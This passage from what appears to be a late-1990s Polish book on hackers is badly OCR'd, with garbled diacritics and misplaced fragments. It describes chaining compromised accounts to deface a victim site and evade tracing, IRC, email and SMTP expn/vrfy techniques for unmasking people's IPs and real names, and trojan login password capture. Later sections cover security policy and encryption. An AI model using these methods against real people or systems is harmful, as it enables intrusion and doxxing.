¢ Znalez¢ 2-3 serwery i rozkodowac okoto 4-5 kont na kazdym (najlepiej zeby
byly to serwery umieszczone w réznych krajach); zatézmy wige, ze ma
serwery: X.com, Y.com, Z.com, ofiara.com oraz nastepujace konta: X1, X2, X3,
X4,Y1,Y2,Y3...,Z1;

¢ Powinien wigc zalogowac si¢ na X.com jako X1, wysta¢ tam ,,nowa” wersje
strony, a pozniej (przez Telnet) z tego konta wpisac ,fip Y.com” i tam logowac
si¢ jako ,,Y'1” (fizycznie jest caty czas podtaczony do X.com!), wysta¢ na Y1
pliki, a p6zniej wpisa¢ na koncie X1 ,.felnet Y.com” i napisac ,.fip X.com”,
a nastgpnie zalogowac si¢ jako X2 i kilkukrotnie powtorzy¢ wszystkie
czynnosci dla innych kont;

¢ Po kilku petelkach haker moze wysta¢ wszystko na Z.com 1 stamtad dopiero
(bedac caly czas zalogowany na X jako X1) wpisac , fip ofiara.com” i zastapié
oryginalne pliki nowymi, a p6zniej wycofac sig i skasowac pliki.

Co dzieje si¢ podzniej?

Zwykle admin serwera ofiara.com patrzy w logi i widzi ,,Z1@Z.com”. Pisze zatem
jak najszybciej do root@Z.com, ze wlamat si¢ do niego haker. Ale moze si¢ okazac,
ze cala afera si¢ wyjasni i admin Z bedzie probowat szukaé dalej. Zajrzy do logow
i zobaczy, ze na to konto logowat si¢ ,,Y4@Y.com”. Wysle wigc odpowiedni list do
root@Y.com. Ten za$ powtdrzy caly scenariusz, po czym zorientuje si¢, ze logowat
si¢ u niego ,,X4@XI1.com”. Napisze wigc do root@X.com. Ten znowu powtorzy
caly scenariusz i znowu napisze do roota serwera2, ze to przeciez ,,Y3@Y.com” si¢
u niego logowat. Nie ma szans, zeby admini si¢ jako$ dogadali, zwtaszcza gdy je-
den z serwerdw jest poza krajem.

W sumie haker robi tyle zamieszania, ze staje si¢ nie do wykrycia, z jakiego adresu
doszto do wlamania.
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Sposoby namierzania i identyfikacji intruzow

Hakerzy bez watpienia sa ludzmi, ktorzy lubia wiedzie¢ wigcej niz faktycznie po-
trzebuja. Prawdziwy haker nie wykorzysta zdobytych danych do niecnych celow,
jednak nalezy mie¢ $wiadomos¢, ze nasze dane moga by¢ dostgpne dla wszystkich
i to catkiem legalnie.

Po pierwsze: nie nalezy bez wyraznej potrzeby podawac poprzez sie¢ wtasnych da-
nych osobowych, czy to na IRC czy w ankietach itp. Mowig tu gtdéwnie o imieniu,
nazwisku, adresie zamieszkania, telefonie, e-mailu itp. Niektorych danych oczywi-
Scie nie da si¢ ukry¢, ale warto wiedzie¢, w jaki sposob sa one dostgpne dla innych.

Informacje z IRC: IRC jest ustuga teoretycznie anonimowa, jednak w praktyce
mozna dzigki niej dowiedzie¢ si¢ wielu ciekawych rzeczy. W zasadzie 90% technik
namierzania opiera si¢ na znajomosci adresu IP ofiary.

Aby pozna¢ adres IP w IRC nalezy wpisac :

/dns <nick>

gdzie <nick>jest pseudonimem interesujacej nas osoby. Nalezy przy tym pamig-
ta¢ o dwoch podstawowych rzeczach: dana osoba musi by¢ aktualnie na IRC, a adres,
ktory otrzymamy nie musi naleze¢ do niej. W praktyce 70% otrzymanych adreséw
bedzie prawdziwa. Efekt komendy bedzie wygladal na przyktad tak:

. /dns info for: Arl ...
.Address. jakas.tajna.domena.pl
.Resolved to. 195.123.123.123

Tak wigc mamy juz adres IP. Wykorzystanie tej opcji jest niewykrywalne przez innych.

Kolejna przydatna opcja jest:

/whois <nick>

Za pomocy tej komendy uzyskamy kilka dodatkowych informacji o danej osobie
czy potaczeniu:

. /whois info for: Arl ...
.Address. arlzonel@supertajna.szkola.edu.pl
.Realname. Tygrysek :)
.Server. *.irc.miasto.pl
.Channels. #hak

Dane o ,,prawdziwym imieniu” zostang podane oczywiscie tylko wtedy, gdy osoba,
ktora sprawdzamy, wpisata je do swojego klienta IRC. Kanaty IRC, na ktorych si¢
wiasnie si¢ znajduje takze przynosza nowe dane — mozna pozna¢ zainteresowania
(nalezy uwaza¢ na ludzi siedzacych np. na #hakpl, #plhak, #linuxpl itp.) Wykorzy-
stanie tej mozliwosci jest niewykrywalne przez innych.

/whowas <nick>

Za pomoca tej komendy mozemy poznaé¢ nazwe hosta oraz serwer, przez ktory la-
czyla si¢ dana osoba.

/finger <nick>
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h Wykorzystanie fingera nie jest niezauwazalne. W przeciwienstwie do

h Niektore z klientéw IRC majg mozliwos¢ zmiany nazwy wtasnego VERSION,

Jest to doktadny odpowiednik zwyklego fingera, sprawdzajacego adres IP interesu-
jacej nas osoby. Trzeba dodaé, Zze niektore wersje IRC maja mozliwo$é otworzenia
zwyklego fingera (dziatajacego nie tylko na IRC), pod ktéory mozemy podiaczy¢
dowolny plik tekstowy. Od razu nasuwa si¢ mozliwo$¢ skonfigurowania klienta
IRC tak, by po wykonaniu fingera pokazywat on jakis$ przydatny nam plik tekstowy
(np. zapiski keyloggera itp.).

/ctcp <nick> finger

Mimo, ze opcja ta nazywa si¢ tak samo jak poprzednio opisany finger, zbiera in-
formacje tylko z klienta IRC sprawdzanej ofiary, gdzie zostal zapisany e-mail. Jak
widac, trzeba dba¢ o anonimowo$¢ nawet na wlasnym komputerze. Oto przyklad
tego, co mozemy zobaczy¢:

[Lamer FINGER reply]: zdzisiu@domena.pl Idle 42 seconds

poprzednich komend, ta informuje ,fingerowang” osobe, ze jest sprawdzana
(pojawia sie komunikat).

/ctcp <nick> version

Ta komenda sprawdza wersj¢ klienta IRC interesujacej nas osoby. Przydaje si¢ to
wtedy, gdy chcemy zobaczy¢, na jakim systemie ona dziata. Na przyktad:
[Lamer VERSION reply]: mIRC32 v5.5 K.Mardam—Bey

powie nam, ze jest to uzytkownik Windows, gdyz mIRC jest charakterystyczne dla
tego systemu. Podobnie jak poprzednia komenda, takze i ta informuje ofiarg, ze ja
sprawdzamy.

wiec nie ma problemu z tym, zeby pokazywaty dowolny inny tekst.

/ctcp <nick> time

Pokazuje czas ,,po drugiej stronie”.
[Arlzone TIME reply]: Thu Oct 07 11:34:35 1999

Ta komenda moze si¢ przydac¢ do okreslenia miejsca osoby (doktadniej strefy czaso-
wej) 1jesli nie dowiemy tego z adresu (moze by¢ nieprawdziwy), tu mamy szansg.

Zbieranie informacji na podstawie e-maila
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Whbrew pozorom na podstawie e-maila jest mozliwe zebranie wielu dodatkowych
informacji o danej osobie. Z pomoca przyjdzie tu nam program MS Outlook lub
Netscape. Ten sposob dziata jednak tylko wtedy, gdy mamy chocby jednego maila
od interesujacej nas osoby. Gdy znajduje si¢ on w okienku Outlooka lub inbox, kli-
kamy na list prawym klawiszem myszki i sprawdzamy wlasciwosci. W Netscape
wystarczy wiaczy¢ Widok (View), a nastgpnie w Naglowku (Headers) wybraé
Wszystko (All).
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Po chwili zobaczymy przyktadowa tres¢ :

Return—Path: <koles@firma.pl>

Delivered—To: arlzone@kki.net.pl

Received: from ppp (pa75.bielsko.ppp.tpnet.pl [123.123.123.123])
by test.kki.net.pl (Postfix) with SMTP id 2B2473F3C

for <arlzone@kki.net.pl>; Fri, 24 Sep 1999 17:57:09 +0200 (CEST)
Message—ID: <000001bf04a4$e6cd7250$4bllal0c4@ppp>

From: ,TC” <koles@firma.pl>

To: <arlzone@kki.net.pl>

Subject: =?1s0—8859-2?Q?Tresc listu=?iso—8859—27?Q?lorer.?=
MIME—Version: 1.0

Content—Type: text/plain;

charset=,1s0—8859—2"

Content—Transfer—Encoding: quoted—printable

X—Mailer: Microsoft Outlook Express 5.00.2417.2000

X—MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Date: Fri, 24 Sep 1999 17:57:10 +0200 (CEST)

X—UIDL: 40c7925e33b77982558e41£f0e356bbb3

Jest tu cata masa informacji, ale tak naprawdg przyda nam sig tylko kilka z nich. Po
pierwsze i najwazniejsze — adres IP komputera, z ktérego zostal wystany (lub np.
firewalla) e-mail (patrz: trzecia linia od gory). Widzimy tu zaréwno IP jak i DNS,
co przydaje si¢, gdy nadawca skorzystal z adresu dynamicznego.

Jak wida¢, ten e-mail zostat wystany z polaczenia modemowego (ppp.tpnet) i adres
IP nam si¢ na wiele nie przyda, ale wiemy juz, ze zostal nadany z Bielska Bialej.
Jesli e-mail zostatby wystany z facza stalego, mamy juz jego prawdopodobny adres
IP, co jest wazna wiadomoscia. Nieco nizej w polu Message-ID, po szeregu znacz-
kow pojawia sig jeszcze jedna wiadomo$é: ppp. W tym przypadku jest to tylko
potwierdzenie, ze nadawca korzystat przez TPSA (ale czasem pojawia si¢ tu nazwa
domeny oraz komputera, z ktérego zostal wystany list). teraz mozemy juz dokladnie
okresli¢, skad e-mail zostal nadany.

Inna sprawa to X-Mailer — tu widzimy nazweg programu pocztowego, z ktoérego
skorzystat nadawca. Znamy wigc jego system.

Teraz zatozmy, ze nie dostaliSmy jeszcze zadnego e-maila od danej osoby i mamy
tylko jej adres. Nie wiemy prawie nic! A mozemy si¢ dowiedzie¢? Nie zawsze, ale
warto sprobowac.

Calo$¢ bedzie sig¢ opierata na dwoch najwazniejszych informacjach — adresie ser-
wera pocztowego, na ktorym ofiara ma skrzynke pocztowa, oraz na pseudonimie.
Jesli znamy adres e-mail, to juz te informacje prawdopodobnie posiadamy — pseu-
donim (a konkretnie i doktadnie nazwa, jakiej uzywa, czyli to, co znajduje si¢ przed
znaczkiem @) i adres serwera pocztowego (bierzemy z koncoéwki e-maila, czyli to,
co jest po @). Tak wigc przyjmijmy, ze mamy adres: koles@firma.pl. Pozostawmy
teraz go na chwilkg i przejdzmy do przypadku, w ktéorym nie mamy adresu, ale inte-
resuje nas osoba na IRC. Jest to znacznie trudniejsze do sprawdzenia i jesteSmy tu
ograniczeni. Najlepiej wigc, by sprawdzana osoba uzywata komputera, ktory jest
w niedalekiej odleglosci od serwera pocztowego (pod wzgledem adresu IP).
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Jezeli nie wiemy doktadnie, gdzie znajduje si¢ serwer pocztowy, mozemy go poszu-
kaé ,,recznie”. Musimy do tego uzy¢ skanera WinGateScan. Wpisujemy do niego ad-
res IP interesujacej nas osoby i ustawiamy skanowanie calej domeny, czyli w adre-
sach od xxx.xxx.xxx.1 do xxx.xxx.xxx.255. Ustawiamy szukanie portu 25 (protokot
pocztowy) i klikamy scan. Czasem mozemy znalez¢ kilka otwartych portoéw w do-
menie, a czasem nie. Wtedy juz nic nie da si¢ zrobi¢. Gdy jednak sprawa si¢ powie-
dzie, znajdziemy kilka adreséw z otwartym portem 25. Najlepiej byloby, gdyby ad-
res pokryt si¢ z adresem osoby, ktory zdobyliSmy wcze$niej. I tak mamy juz nazwe
nicka (ta przed @ w mailu) oraz adres serwera pocztowego. Powiedzmy ze sg to:
koles oraz 123.123.123.123.

Teraz mate wprowadzenie. Serwery pocztowe maja to do siebie, ze do e-maila po-
trzebuja czasem imienia i nazwiska jego wlasciciela. Podajemy je na stronach inter-
netowych przy zaktadaniu skrzynki, w pracy, w szkole tylko dlaczego nam nikt nie
mowi, ze te informacje sa czasem dostgpne dla innych? Co z ochrona danych oso-
bowych?

Po tej refleksji, naszym celem jest zdobycie imienia i nazwiska osoby. Do tego bg-
dzie nam potrzebny dodatkowo program do Telnetu (typu klient/serwer, gdzie my
jestesmy klientem i wydajemy serwerowi pewne rozkazy). Aby sig¢ najprosciej po-
laczy¢ poprzez Telnet, napiszmy w Uruchom lub Run:

telnet 123.123.123.123 25

Ciag ,,123.123.123.123” jest adresem znalezionego serwera pocztowego, a ,,25”
portem, na ktérym on dziata (ta warto$¢ si¢ nie zmienia). Jesli ponownie bgdziemy
mieli szczg$cie, zobaczymy tekst w stylu:

220 shell. Sendmail SNI—8.6/SMI-SVR4 ready at Sat, 10 Oct 1999
14:35:18 +0200

Jesli wszystko si¢ udato, mozemy wyda¢ pierwsza komendg. Bedzie to:

expn koles

,»Kkoles” to oczywiscie pseudonim uzywany przez dang osobg. Jesli faktycznie osoba
pod takim pseudonimem uzywa tego serwera, po chwili zobaczymy:

username koles@firma.pl Jan Kowalski

Jednak czasami komenda expn nie dziata (czasami nie udostgpnia si¢ jej w serwe-
rze). Wtedy mamy jeszcze szansg na sprobowanie: vrfy koles

Wiynik jest tu podobny. Moze sig takze zdarzy¢ ze pseudo, ktore podalismy nie beg-
dzie istniato, czego dowodem bedzie stosowny komunikat. Warto jest wtedy wy-
probowaé inne pseudonimy, ktore mogta wybraé ta osoba do swojego e-maila. Na
koniec podsumowanie i kilka porad. Nazwy pseudoniméw mozna pobieraé:

¢ Z prawdziwego adresu e-mail dla sprawdzanego serwera;
¢ ZIRC, ICQ;

¢ Za pomoca programu Mirror Universe (login name);
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¢ Z nazwy login login podanej koniem trojanskim;

¢ 7 nazw uzytkownikoéw w Windows;

¢ Zapomoca fingera;

¢ Z imienia i nazwiska (np. zdzislaw, zdzisiek, zdzislaw?2 itp.);

¢ Z innych, znanych pseudoniméw (np. znalezionych wyszukiwarkami
na podstawie innych danych).

Adresy serwera pocztowego mozna pobieraé:
¢ Z koncéwki adresu e-mail;

¢ Z otrzymanego z IRC, ICQ adresu (dla adresow statych, skojarzonych
z domena, gdzie znajduje si¢ serwer);

¢ Przeskanowac pod katem otwartego portu 25, skojarzonych z osoba hostow
(czyli np. adresy IP szkoly w ktorej si¢ uczy, pracy itp.).

Na koniec warto takze sprawdzi¢ trzy rzeczy. Po pierwsze: czy i gdzie wystepuje
w Internecie wymieniony e-mail (by¢ moze znajdziemy jego strong WWW, strony
przyjaciot, wpisy do ksiggi gosci czy choéby archiwa z grup dyskusyjnych). Po
drugie: posiadajac e-mail np. na serwerze KKI, mamy takze automatycznie zakta-
dane miejsce na strong WWW. Tak wigc jesli ktos§ ma e-mail koles@kki.net.pl, to
przynalezy do niego strona http.://kki.net.pl/~koles (o ile tylko co$§ do niej nagrat, bo
inaczej zobaczymy, ze na tej stronie nie ma zadnych danych). Tyczy sig to takze in-
nych serwisow, takich jak friko, polbox itp. Po trzecie: ostatnia mozliwoscia na
sprawdzenie posiadanego e-maila jest po prostu finger. Nie zawsze on zadziata, ale
warto sprobowaé. ICQ — to dobry program, dzigki ktéremu mozna porozmawiac
z polowa Swiata zachowujac naprawdeg sporo anonimowosci. Podczas zaktadania
swojego numeru UIN podajemy wiele danych osobowych, ale nie jest to wymagane.
Jak si¢ okazuje, dane te stanowia integralna czg¢§¢ naszego numeru i sg publicznie
dostgpne z poziomu samego 1CQ. Szczgsciem jest, ze w dowolnym czasie mozemy
je zmienia¢, kasowac itp, ale duzo ludzi po prostu nie ma pojgcia o tym. Aby obejrzec¢
informacje, kliknijmy interesujaca nas osobe z listy i wybierzmy info. Jak wida¢ nie
jest to skomplikowane, ani szczegolnie ukryte, jednak wielu ludzi nie ma pojecia
o tej opcji... To, czego si¢ dowiemy (o ile dana osoba wpisata dane) to: numer UIN,
adres IP, pseudonim, e-mail, imi¢, nazwisko, miejsce zamieszkania, czas lokalny,
strong WWW, telefon, wiek, ptec i pte¢ oraz dodatkowe info.

Jesli sami zamiescilismy zbyt wiele informacji, zmienmy za pomoca opcji add/
change user 1 wybierzmy view/change my details. Oczywiscie nie zmienimy adresu
IP, ale mozemy za to wlaczy¢ jego ukrywanie. Niestety, jak pokazal to wczesniej
opisany program ICQSniffer, jesteSmy w stanie go odczyta¢ wraz z adresem we-
wnetrznym (zza firewalla 1 innych zapor), co jest juz spora informacja. Polecam
eksperymentowanie z wyszukiwarka 1CQ, w ktorej mozna poszukiwaé ludzi we-
dhug réznych kryteriow. Inny sposob na zdobycie wigkszej wiedzy o uzytkowniku, to
wpisanie do wyszukiwarki ICQ danych ze znanego nam UIN-u (nick, nazwisko, e-
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mail). Polecam takze wpisanie tych danych do zwyklych wyszukiwareck WWW.
By¢ moze znajdziemy jeszcze wigcej informacji.

Najwazniejsze zagrozenia zwigzane z Internetem

Jedna z podstawowych zalet Internetu jest swobodny dostgp do Sieci i mozliwo$é
wymiany informacji. Oznacza to, ze komputery uzytkownikow i informacje na nich
zgromadzone sa dostgpne dla miliondéw ludzi. Im bardziej popularny jest jakis ser-
wer, tym wigksze jest ryzyko, ze zostanie on zaatakowany.

W wigkszo$ci przypadkow biura przedsigbiorstw sa na ogdt dos¢ dobrze zabezpie-
czone przed wlamaniami fizycznymi. Wiasciciele instaluja w nich patentowe coraz
bardziej wymyslne zamki, sejfy ktore moga wytrzymywac bardzo wysokie tempe-
ratury, pancerne drzwi, elektroniczne alarmy i wiele innych urzadzen. Ale z cala
pewnoscia mimo wszystkich tych mechanizméw ochrony, w tych wlasnie przedsig-
biorstwach czesto brakuje podstawowych elementow ochrony danych (odpowied-
niej polityki ochrony informacji) zawartych w systemach informatycznych, do kt6-
rych hakerzy maja dostgp poprzez Internet.

W przypadku duzych biur lub przedsigbiorstw gtdéwnym zagrozeniem jest wtamanie
i kradziez danych oraz destabilizacja systemu komputerowego. Haker stanowi duze
zagrozenie, ale jeszcze wigksze — zorganizowane dziatania komputerowych wia-
mywaczy. Znaja oni doskonale system, orientuja si¢ w zasadach jego zabezpiecze-
nia, potrafia si¢ wtamac.

Ostatnim wielkim hitem, super urzadzeniem ,,terrorystow” jest ,,bomba mikrofalo-
wa” (znana jako EMP-Gun). Jest to urzadzenie zaktocajace dziatanie lub niszczace
komputery impulsami elektromagnetycznymi duzej mocy. Takie dzialanie moze
spowodowac przepalenie procesora lub innych uktadow scalonych. Dziatanie tych
impulséw odkryto przy prébach z bronia atomowa. Jest to jeden z efektow ubocz-
nych wybuchow na duzej wysokosci. W Internecie dostgpne sa plany takiego urza-
dzenia, zdolnego do uszkodzenia komputera z odlegtosci ok. 100 m. Wystarczy, ze
terrorysta zblizy si¢ do pomieszczenia z serwerami. Taki atak bytby bardzo trudny
do odréznienia od normalnej awarii. Zaatakowane przedsigbiorstwo miatoby dhuz-
szy przestroj oraz znaczne koszty wymiany zniszczonego sprzetu. Dodajmy do tego
jeszcze problemy z backupami, ktore bylyby nieaktualne i no$nikami, na ktorych
si¢ te backupy znajduja (bylyby zuzyte do tego stopnia, ze statyby si¢ zawodne).
Koszt takiego przestoju przedsigbiorstwa i otworzenie danych bylyby zabdjczy dla
ofiary ataku. Kopie zapasowe zreszta to bardzo obszerny, osobny temat. Kazdy po-
winien je mie¢, ale wigkszos$¢ instytucji i firm ich nie robi. Statystyki sa alarmujace
(wystarczy przeczyta¢ raport CERT NASK dotyczacy przestgpczosci komputero-
wej). W przewazajacej mierze straty przedsigbiorstw zaleza od tego, co reprezen-
tuja soba dane przedsigbiorstwa lub jaka dziatalno$¢ prowadza. Wszyscy powinni
sobie zdawac sprawe z tego, ze moga przyj$¢ rano do pracy i zobaczyC, ze serwer
dostepny do Internetu znajduje si¢ w stanie inicjacji poczatkowej z komunikatem
wys$wietlanym na ekranie monitora:

..missing operating system
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a polaczenie ze $wiatem jest nieczynne.

W wyniku wlamania hakeréw moze zosta¢ usunigta centralna baza haset i nikt nie
bedzie mogt zalogowaé si¢ na swoje hasto na serwerze. Wszystko to jednak bta-
hostki. Mozna w ten sposob przeciez straci¢ dane zwiazane z ,tajnym projektem”
lub udostgpni¢ wtamywaczowi konta banku firmy do dyspozycji.

Wedtug raportu CERT NASK intruzi wlamujacy si¢ do systemoéow w Polsce prze-
prowadzali najcze¢$ciej nastgpujace dziatania:

¢ Wprowadzenie zmian w zaatakowanym systemie poprzez modyfikacje plikow
haset;

¢ Podmienianie oprogramowania systemowego;

¢ Instalacja programéw typu ,,kon trojanski” lub tzw. ,,SNIFER”, podstuchiwanie
pakietow TCP/IP;

¢ Ingerowanie w prywatno$¢ objawiajace si¢ najczesciej przegladaniem poczty
elektronicznej;

¢ Powodowanie szkod moralnych i zataman systeméw komunikacyjnych (np.
zmiana zawarto$ci stron WWW, kolportaz pornografii).

Wielu administratoréw lub specjalistow do spraw zabezpieczen w przedsigbior-
stwach w celu podniesienia bezpieczenstwa i efektywnosci pracy wyposaza swoje
systemy komputerowe w mechanizmy, ktére w efekcie staja si¢ przyczyna praw-
dziwych ktopotow.

Oto najbardziej wyraziste przyktady:

¢ Udostepnienie pracownikom przedsigbiorstwa tacza dostgpowego do serwera
poczty elektronicznej dedykowanego do pracy w podrozy;

¢ Uruchamianie ogdlnie dostgpnego serwera WWW publikujacego informacje
o produktach i ofercie, oraz serwera FTP, przeznaczonego do rozpowszechniania
np. poprawek do produkowanego oprogramowania.

Wszystkie przedstawione tu informacje dotycza niepowotanego dostgpu z zewnatrz.
To oczywisty przyktad zagrozenia. Powinni$my jednak pamigta¢ o tym, ze rownie
niebezpieczne moga by¢ ataki z wnetrza systemu informatycznego przedsigbior-
stwa. Jest to przyklad klasycznego sabotazu .

Pozostawienie na biurku we wlasnym gabinecie terminala z aktywnym superuzyt-
kownikiem moze kosztowaé firmg¢ bardzo wiele. Statystyki twierdza, ze 80%
wszystkich problemow zwiazanych z polityka bezpieczenstwa zwiazane jest ze
struktura wewngtrzna przedsigbiorstwa. Pamigtajmy, Ze nie wszyscy pracownicy
kochaja swoich dyrektorow, nie wszyscy sa lojalni, a prawie wszyscy chca szybko
awansowac i zarabia¢ jak najwigcej. W wielu przypadkach wystarczy znajomos$é
hasta uprawniajacego do korzystania z zasobow sieci, aby niepowotana osoba mo-
gla zrobi¢ z nimi praktycznie wszystko. System haset jest najpopularniejszym spo-

C:\WINDOWS\Pulpit\Szymon\hakerzy\r02b.doc 215



216

Hakerzy....

sobem identyfikacji uzytkownika w systemie komputerowym. Jest on szeroko sto-
sowany zardéwno w klasycznych systemach wielodostgpnych, jak i sieciowych sys-
temach odleglego dostepu. Ogolnie metoda ta pozwala stwierdzi¢, czy uzytkownik
jest tym za kogo si¢ podaje. W przypadku systeméw wielodostepnych, bazujacych na
klasycznych terminalach znakowych (facza szeregowe) systemy haset sg stosunko-
wo bezpieczne w $rodowisku sieciowym.

Wiadomo, ze istnieje mozliwos$¢ tatwego nastuchiwania potaczenia sieciowego
w celu pozyskania kombinacji identyfikator-hasto (przyktadem moze by¢ Telnet).
Programy typu LanWatch, IPtraca, Snoop sa prostymi narz¢dziami pozwalajacymi
odczyta¢ hasto. Klasyczne potaczenie Telnet nie jest bowiem kodowane i hasto
wprowadzane jest do sieci w swojej pierwotnej postaci.

Najprostszym sposobem pozyskiwania haset jest zainstalowanie na swoim wtasnym
koncie konia trojanskiego, czyli programu udajacego prace innego programu np:
login (w Uniksie). Program ten moze, jak to czyni system operacyjny, prosi¢
o identyfikator i hasto. Dane te sa zapamigtywane do dowolnego pliku, a nastgpnie
program wyswietla informacje o niepoprawnej kombinacji identyfikator-hasto
i wywotuje normalny program login. Uzytkownik niczego nie podejrzewajac, roz-
poczyna logowanie na terminalu, a po komunikacie o btedzie uznaje, ze si¢ pomy-
lit. Jego hasto jest juz w pliku na koncie ztosliwego kolegi.

Typowym sposobem tamania haset jest tzw. DICTIONARY ATTACK (atak poprzez
stownik). Polega on na probkowaniu programu autoryzujacego catym stownikiem
danych. Jezeli wezmie si¢ pod uwagg, ze w przypadku klasycznego systemu Unix
maksymalna dtugos¢ hasta wynosi 8 znakow, a funkcja hamujaca uzywa tylko sied-
miu bitéw znaczacych otrzymujemy klucz o dlugosci 56 bitow. Wigkszos¢ uzytkow-
nikow stosuje ,,normalne” hasta. Pole poszukiwan hakera moze by¢ zwigkszone
tylko do np. matych liter, co odpowiada sytuacji uzywania klucze o dhugosci 19 bi-
tow. Tego typu hasta dla dobrego hakera sg dos¢ proste do ztamania za pomoca
tzw. stownikow. Przyktadem ataku poprzez stownik jest stynny program John The
Ripper, ktory uzywa tej metody wielu réznych wariantach.

Internet i bezpieczenstwo

216

Aktualnie wiele firm czy instytucji chcacych zabezpieczy¢ sig¢ przed atakami po-
przez Internet ma $wiadomos¢ tego, ze potrzebuje przede wszystkim dobrej i konser-
watywnej polityki bezpieczenstwa. Bez tego nie ma w ogole sensu zaczynanie dalszej
pracy. Coz oznacza termin ,,polityka bezpieczenstwa”? To nie tylko zabezpieczenie
danych i komputeréw, ale takze wszelkie dobrze przemyslane procedury postgpowa-
nia w sytuacjach ewentualnego zagrozenia. Proces zabezpieczenia i utrzymywania
bezpieczenstwa to dziatanie ciagle. Zabezpieczenia musza dotrzymywac kroku
zmianom technologicznym.

Proces zabezpieczenia powinien przebiegaé czterofazowo:

Faza pierwsza
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Zaczyna si¢ od budowy pewnych podstaw, przeszkolenia kadry kierowniczej, ktora
powinna zrozumie¢ podstawowe zagadnienia bezpieczenstwa i wyznaczyé osobg
odpowiedzialna za wprowadzenie i utrzymanie bezpieczenstwa.

Faza druga

To ,,hardening”, czyli usuwanie btedow. Osoby odpowiedzialne za to wyszukuja
i usuwaja bledy w istniejacych zabezpieczeniach. Testuja swoje systemy na obecnosé
znanych luk w zabezpieczeniach. Sporzadzaja dokumentacje¢ testow oraz dokumenta-
cj¢ konfiguracji sieci. Staraja si¢ wykry¢ btedy ludzi obstugujacych i korzystajacych
Z sieci.

Faza trzecia

To wzbogacenie bezpieczenstwa, instalacja i zakup odpowiednich zapdr ogniowych,
systeméw kontroli dostgpu, monitoringu (skanery) i audytu (notowanie dostgpow
i autoryzacji). Nalezy takze opracowac stosowny regulamin korzystania z sieci. Row-
nocze$nie prowadzi si¢ szkolenia dotyczace bezpiecznego uzywania systemu kom-
puterowego.

Faza czwarta

Polega na kontroli tego, czy zalecania ekspertow zostaly wprowadzone w zycie.

Cala procedurg powinno si¢ powtarza¢ co pédt roku, uwzgledniajac nowe metody
wilaman i typy zabezpieczen. Biezacymi problemami natomiast zajmuje si¢ odpo-
wiednio przeszkolony pracownik firmy np. administrator. Powinien on zawsze by¢
na miejscu i natychmiast reagowaé na nieprawidtowosci.

Szyfrowanie informacji

W przypadku systeméw komputerowych szyfrowanie jest procesem, w ktorym
normalny tekst zamieniany jest na kompletnie niezrozumiaty ,,betkot”, ktérego od-
czytanie wymaga specjalnego klucza. Czym dluzszy jest ten klucz i bardziej skom-
plikowany, tym jest on trudniejszy do ztamania.

Proces szyfrowania zapewnia poufnos$¢ i prywatno$¢ zaréwno plikow utrzymywa-
nych na serwerze, jak i danych przesylanych poprzez sie¢. Mozemy mie¢ duze
prawdopodobienstwo, iz zaszyfrowane dane zostana odczytane tylko przez upraw-
nione osoby.

Aktualnie uzywane sa dwie podstawowe grupy systeméw (algorytmow) szyfruja-
cych — algorytmy klucza poufnego (algorytmy symetryczne) i publicznego.

W metodzie algorytmow klucza poufnego ten sam klucz uzywany jest zarowno do
szyfrowania danych, jak i do ich rozkodowania. Poniewaz uzywany jest ten sam
klucz do obu czynnosci, musi on by¢ réwniez zabezpieczony réoznymi sposobami.
Zaleta tej metody jest stosunkowo niski naktad obliczen ponoszonych na szyfrowa-
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nie, rozkodowanie nawet duzych plikow. Wada natomiast jest koniecznos¢ dostar-
czenia klucza wszystkim zainteresowanym, co moze doprowadzi¢ do jego prze-
chwycenia w przypadku przestania poprzez sie¢ publiczna.

Do najbardziej znanych algorytméw klucza poufnego naleza:

¢ RC4 (Rivers Cipher 4) opracowany przez Ronalda Rivesta; uzywa on
40-bitowego klucza;

¢ DES (Data Encryption Standard) — wdrozony w 1978 roku przez IBM,
uzywa 56-bitowego klucza i bitdw parzystosci;

¢ IDEA (Jnternational Data Encrypion Algoritm) bazuje na kluczu
128-bitowym,;

¢ SKIPJACK — algorytm zaproponowany przez Narodowe Biuro Standardow
USA (NIST) do uzytku w szyfrujacych uktadach elektronicznych Clipper
i Capstone.

Wokot tych uktadow narodzito si¢ na rynku amerykanskim wiele kontrowersji, bo-
wiem zostaly one wyposazone w odpowiedni mechanizm umozliwiajacy rozkodo-
wanie informacji (po uzyskaniu zezwolenia sadowego).

Ze wszystkimi algorytmami szyfrujacymi zwiazane sa restrykcje eksportowe rzadu
USA. Bez zezwolenia mozna eksportowa¢ oprogramowanie uzywajace klucza o mak-
symalnej dlugos$ci 40 bitow.

Druga grupa algorytméw szyfrujacych jest oparta o tzw. metode klucza publicznego.
Jest to klucz asymetryczny, czy klucz publiczno-prywatny. W tym przypadku komu-
nikujace si¢ ze sobg strony uzywaja dwu roéznych kluczy (jednego do zaszyfrowania
przesyiki, drugiego do jej rozkodowania). Klucz generowany jest przez kazda ze stron
i wymieniany za posrednictwem sieci publicznej bez utraty prywatnosci, bowiem
staje si¢ uzyteczny jedynie w przypadku posiadania sekretnego, znanego tylko lokal-
nie, klucza prywatnego. Algorytmy tego typu gwarantuja prywatnosc, ale nie zapew-
niaja autentycznosci, co moze doprowadzi¢ do réznego typu atakow znanych jako
»Man in the Middle”. Te algorytmy sa czgsto uzywane wspolnie z tzw. podpisami cy-
frowymi. Do najbardziej znanych algorytméw klucza publicznego naleza:

¢ RSA — opracowany przez Ronalda Rivesta, Adi Shamira, Leonarda Adlemana
na uniwersytecie MIT. Jego sita bazuje na ztozonosci problemu rozktadu
duzych liczb naturalnych na czynniki pierwsze. Jest to najbardziej popularny
algorytm klucza publicznego, a jednoczesnie jest on najbardziej odporny na
brutalne ataki hakerdow;

¢ EL Gamal — algorytm bazujacy na skomplikowanych obliczeniach
logarytmow dyskretnych.

Czgsto z pojgciem szyfrowania zwigzane sa metody, czy raczej aplikacje, takie jak
PGP (Pretty Good Privacy). PGP jest mechanizmem umozliwiajacym uzytkowni-
kom kodowanie informacji utrzymywanej na zasobach serwera oraz szyfrowanie
przysytanych listow elektronicznych. Mechanizm ten zawiera narzedzia tworzenia,
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certyfikowania i zarzadzania kluczami. Jest to metoda typu ,,wszystko w jednym”
— poufno$¢ (szyfrowanie), stwierdzenie autentycznosci i integralno$¢ danych. Ze
wzgledu na stosowanie metody IDEA do szyfrowania (128-bitowy klucz) PGP
podlega restrykcja eksportowym USA.

Firewall

Systemy ,,Scian ognia” (firewall) sa to zapory, ktore maja stanowi¢ przeszkode
przed wtargnigciem nieuprawnionych osoéb do zasobow sieci lokalnej. Systemy te
